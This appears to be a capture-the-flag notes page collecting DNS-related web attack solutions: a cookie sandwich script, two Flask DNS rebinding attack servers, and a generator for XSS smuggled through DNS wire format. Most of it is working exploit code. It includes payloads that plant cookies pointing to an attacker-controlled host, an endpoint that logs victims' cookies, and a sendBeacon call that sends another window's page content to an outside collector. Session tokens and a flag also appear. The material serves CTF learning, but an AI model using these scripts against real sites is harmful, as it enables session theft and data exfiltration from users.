Skip to content

Categories

DNS

localhost.7chn.me -> 127.0.0.1foobar.n.7chn.me -> your serverworking in selenium==4.27.1https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/misc/mini-dns-server/solve/solv.pyIt is to brin...

Created

Updated

5 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Cookie Sandwitch attack & Light DNS Rebinding attack

Event Nameuoftctf 2026
GitHub URL-
Challenge NameUnrealistic Client-Side Challenge - Flag 1
Attachments
References

Cookie sandwitch

<script>
    const sleep = t => new Promise(r => setTimeout(r, t));
    (async ()=> {
        const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiaWF0IjoxNzY4MDE3MTEwLCJleHAiOjE3NjgwMjQzMTB9.VBd77rx24B8UxtfiMNVuZKfo2lB8_T5zo5zxReUYXdU";
        document.cookie=`session=${token};Domain=7chn.me;Path=/flag`;
        let w1 = open("<http://localhost.7chn.me:5000/flag>");
        document.cookie=`motd="%3Cimg%20src='//foobar.n.7chn.me/?v=;Domain=7chn.me;Path=/motd`;
        await sleep(1000);
        document.cookie=`z='%3E";Domain=7chn.me;Path=/`;
        w2 = open("<http://localhost.7chn.me:5000/motd>");
    })();
</script>

localhost.7chn.me -> 127.0.0.1

foobar.n.7chn.me -> your server

Light DNS Rebinding

working in selenium==4.27.1

import subprocess
import threading
import time
from flask import Flask, Response, request

app = Flask(__name__)

@app.get("/")
def index():
    body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
  const sleep = (ms) => new Promise(r => setTimeout(r, ms));

  function postWindow(url, data, targetName) {
    const form = document.createElement("form");
    form.action = url;
    form.method = "POST";
    form.target = targetName;
    form.style.display = "none";

    for (const key in data) {
      const input = document.createElement("input");
      input.type = "hidden";
      input.name = key;
      input.value = data[key];
      form.appendChild(input);
    }

    document.body.appendChild(form);
    form.submit();
    document.body.removeChild(form);
  }

  const u = "u" + Math.random().toString(36).slice(2);
  const p = "p" + Math.random().toString(36).slice(2);

  async function attempt() {
    window.open("about:blank", "w1");
    await sleep(100);
    window.open("/cut", "w1");

    window.open("about:blank", "w2");
    await sleep(1000);
    postWindow("/register", { username: u, password: p }, "w2");

    window.open("about:blank", "w3");
    await sleep(500);
    postWindow("/login", { username: u, password: p }, "w3");

    window.open("about:blank", "w4");
    await sleep(500);
    window.open("/flag", "w4");

    // reset iptable and reset server here!
    window.open("about:blank", "w5");
    await sleep(3000);
    window.open("/steal", "w5");

    await sleep(5000);
  }

  attempt();
})();
</script>
"""
    resp = Response(body, mimetype="text/html")
    resp.headers["Connection"] = "close"
    return resp


@app.get("/cut")
def cut():
    def worker():
        try:
            subprocess.run(
                ["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5000 -j REJECT --reject-with tcp-reset"],
                check=False
            )
            time.sleep(6)
        finally:
            subprocess.run(
                ["bash","-lc", "sudo iptables -D INPUT 1"],
                check=False
            )
    threading.Thread(target=worker, daemon=True).start()
    return ("cut", 200)


@app.get("/steal")
def steal():
    print("Cookie header =", request.headers.get("Cookie"))
    return ("steal", 200)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=False, use_reloader=False)

"""
- report url:
http://127.0.0.1:5000@make-{my-ip}-and-127-0-0-1-rr.1u.ms:5000

- session:
session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMCIsImlhdCI6MTc2ODA1ODczNCwiZXhwIjoxNzY4MDY1OTM0LCJmbGFnIjoidW9mdGN0ZntoNHYzX3kwdXI1M2xmXzRfczRuZHcxY2h9In0.SC70s-ve8X44OuHcctrDAIEKjIqEA4LrBGjqxWuY1cw

- flag
uoftctf{h4v3_y0ur53lf_4_s4ndw1ch}

3rd solve
"""
for challenge v2
import subprocess
import threading
import time
from flask import Flask, Response, request

app = Flask(__name__)

@app.get("/")
def index():
    body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
  const sleep = (ms) => new Promise(r => setTimeout(r, ms));

  async function attempt() {
    await sleep(100);
    window.open("/cut", "w1");

    await sleep(1000);
    await sleep(500);
    await sleep(500);
    window.win = window.open("/motd", "w4");

    // reset iptable and reset server here!

    await sleep(3000);
    window.open("/steal", "w5");

    await sleep(5000);
  }

  attempt();
})();
</script>
"""
    resp = Response(body, mimetype="text/html")
    resp.headers["Connection"] = "close"
    return resp


@app.get("/cut")
def cut():
    def worker():
        try:
            subprocess.run(
                ["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5001 -j REJECT --reject-with tcp-reset"],
                check=False
            )
            time.sleep(6)
        finally:
            subprocess.run(
                ["bash","-lc", "sudo iptables -D INPUT 1"],
                check=False
            )
    threading.Thread(target=worker, daemon=True).start()
    return """
<!DOCTYPE html>
<html>
    <body>
        <script>
            const sleep = (ms) => new Promise(r => setTimeout(r, ms));
            (async () => {
                while (true) {
                    await sleep(500);
                    console.log('checking...');
                    if (window.opener.window.win) {
                        console.log('win');
                        await sleep(1000);
                        navigator.sendBeacon('https://i07rtfvt.requestrepo.com', window.opener.window.win.document.body.innerHTML.toString())
                        break;
                    }
                }
            })();
        </script>
    </body>
</html>
"""


@app.get("/steal")
def steal():
    print("Cookie header =", request.headers.get("Cookie"))
    return ("steal", 200)

# http://127.0.0.1:5000@make-95.216.145.211-and-127-0-0-1-rr.1u.ms:5001

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5001, debug=False, use_reloader=False)

DNS Wire Deserialization can lead to XSS

Event NameKalmar CTF 2025
GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
Challenge NameDNXSS-over-HTTPS
Attachments
References

solve.py
# on the endpoint /dns-query?dns=<dnsmessage>
# you can send a dns wire formatted xss
# using the following script to generate it



import base64
import struct

def generate_dns_wire_format(domain, qtype=1):
    """
    Generate DNS wire format for a domain name query
    
    Args:
        domain (str): The domain name to query (e.g., "www.example.com")
        qtype (int): The query type (1 for A record, 28 for AAAA, etc.)
    
    Returns:
        str: Base64 encoded DNS wire format
    """
    # Initialize an empty bytearray for the message
    message = bytearray()
    
    # DNS Header (12 bytes)
    # ID (2 bytes) - using 0 for simplicity
    message.extend(struct.pack('>H', 0))
    
    # Flags (2 bytes) - Standard query with recursion desired (0x0100)
    message.extend(struct.pack('>H', 0x0100))
    
    # QDCOUNT (2 bytes) - One question
    message.extend(struct.pack('>H', 1))
    
    # ANCOUNT (2 bytes) - Zero answers
    message.extend(struct.pack('>H', 0))
    
    # NSCOUNT (2 bytes) - Zero name server records
    message.extend(struct.pack('>H', 0))
    
    # ARCOUNT (2 bytes) - Zero additional records
    message.extend(struct.pack('>H', 0))
    
    # Question section - QNAME (domain name in DNS label format)
    labels = domain.split('.')
    for label in labels:
        # Add the label length (1 byte)
        message.append(len(label))
        
        # Add the label characters
        message.extend(label.encode('ascii'))
    
    # Terminating zero-length label
    message.append(0)
    
    # QTYPE (2 bytes) - Default is A record (1)
    message.extend(struct.pack('>H', qtype))
    
    # QCLASS (2 bytes) - IN (1) for Internet
    message.extend(struct.pack('>H', 1))
    
    # Base64 encode the message
    return base64.b64encode(message).decode('ascii')

def decode_dns_wire_format(base64_str):
    """
    Decode DNS wire format to show its components
    
    Args:
        base64_str (str): Base64 encoded DNS wire format
    
    Returns:
        dict: Components of the DNS message
    """
    # Decode base64 to binary
    binary_data = base64.b64decode(base64_str)
    
    # Extract header components
    header = {}
    header['id'] = struct.unpack('>H', binary_data[0:2])[0]
    header['flags'] = struct.unpack('>H', binary_data[2:4])[0]
    header['qdcount'] = struct.unpack('>H', binary_data[4:6])[0]
    header['ancount'] = struct.unpack('>H', binary_data[6:8])[0]
    header['nscount'] = struct.unpack('>H', binary_data[8:10])[0]
    header['arcount'] = struct.unpack('>H', binary_data[10:12])[0]
    
    # Extract domain name from question section
    offset = 12
    domain_parts = []
    
    while True:
        length = binary_data[offset]
        if length == 0:
            break
        
        offset += 1
        domain_parts.append(binary_data[offset:offset+length].decode('ascii'))
        offset += length
    
    domain = '.'.join(domain_parts)
    
    # Extract QTYPE and QCLASS
    qtype = struct.unpack('>H', binary_data[offset+1:offset+3])[0]
    qclass = struct.unpack('>H', binary_data[offset+3:offset+5])[0]
    
    return {
        'header': header,
        'domain': domain,
        'qtype': qtype,
        'qclass': qclass
    }

# Example usage
if __name__ == "__main__":
    payload = base64.b64encode(b'alert(1)').decode('ascii')
    domain = "<script>eval(atob('"+payload+"'))</script>.com"
    
    # Generate wire format for A record query
    wire_format = generate_dns_wire_format(domain)
    print(f"DNS wire format for {domain} (A record):")
    print(wire_format)
    
    # Generate wire format for AAAA record query
    aaaa_wire_format = generate_dns_wire_format(domain, 28)  # 28 is AAAA record
    print(f"\nDNS wire format for {domain} (AAAA record):")
    print(aaaa_wire_format.replace('+', '-').replace('/','_'))
    
    # Decode a wire format to show components
    print("\nDecoding the A record wire format:")
    decoded = decode_dns_wire_format(wire_format)
    print(f"Domain: {decoded['domain']}")
    print(f"Query type: {decoded['qtype']}")
    print(f"Query class: {decoded['qclass']}")
    print(f"Header flags: 0x{decoded['header']['flags']:04x}")

DNS Length manipulation

https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/misc/mini-dns-server/solve/solv.py

DNS take away

It is to bring the DNS resolution record to the DNS log platform, which is often used to find when the web page has no echo [such as SQL injection blind note, Log4j vulnerability verification, SSRF web page no echo vulnerability verification]

DNS Out-and-Out Principles - Web_Kio - Blog Garden

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.